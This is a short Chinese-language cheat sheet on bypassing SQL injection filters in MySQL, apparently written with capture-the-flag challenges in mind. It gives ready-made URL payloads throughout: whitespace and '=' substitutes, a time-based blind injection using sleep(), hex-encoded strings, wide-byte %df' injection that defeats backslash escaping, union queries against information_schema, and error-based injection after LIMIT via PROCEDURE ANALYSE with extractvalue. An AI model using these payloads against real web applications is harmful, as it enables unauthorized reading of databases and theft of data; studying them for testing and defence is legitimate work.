一、常用符號的繞過
1、空格
1 空格代替:+ %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ 2 括號繞過:常用於基於時間延遲的盲注,例如構造語句: ?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
2、“ = ”號
使用like 、rlike 、regexp 、< 或者 >
3、字符串無法使用引號
可以用16進制來表示字符串:用編碼轉換工具轉換你要的字符串,前綴 0x 即可。
例如: ?id=1%df' union select table_name from information_schema.tables where table_schema=0x666c6167('flag') %23
4、寬字節繞過單引號轉義
在判斷注入點的過程中,加單引號“ ' ”,發現被“ \ ”轉義了,可以嘗試寬字節注入
1 原理:由於mysql的特性,gbk是多字節編碼,它用兩個字節代表一個漢字,所以構造一個字節和后面的“ \ ”也就是%5c變成了一個漢字,“ ' ”就能逃逸出來了。
2 測試:在常規輸入后加入 ' 發現被轉義,改成加入 %df' ,若報錯則可能存在寬字節注入
3 構造:用 %df 來做“ ' ”的前綴,再用常規注入手段就好了
因為爆庫爆表爆字段過程中要用到字符串,也會用到“ ' ”或“ " ”。所以還會用到上面講的字符串16進制化的繞過方法。
例如:前面不寫了+ ?id=1%df' union select 1,2,table_name from information_schema.tables where table_schema=0x666c6167('flag') limit 0,1 %23
二、一些特殊情況
1、Mysql注入點在limit關鍵字后面
先看看MySQL的查詢語法:
select [ALL | tDISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr ...] [FROM table_references [WHERE where_condition] [GROUP BY {col_name | expr | position} [ASC | DESC], ... [WITH ROLLUP]] [HAVING where_condition] [ORDER BY {col_name | expr | position} [ASC | DESC], ...] [LIMIT {[offset,] row_count | row_count OFFSET offset}] [PROCEDURE procedure_name(argument_list)] [INTO OUTFILE 'file_name' export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name]] [FOR UPDATE | LOCK IN SHARE MODE]]
limit 關鍵字后面還有 procedure 和 into 關鍵字,into 關鍵字可以用來寫文件,procedure可以使用默認的存儲方式 analyse,構造如下,可見是報錯注入。
limit 1, 1 procedure analyse(extractvalue(rand(), concat(0x3a, database())), 1);
database 函數的位置即可執行sql其他語句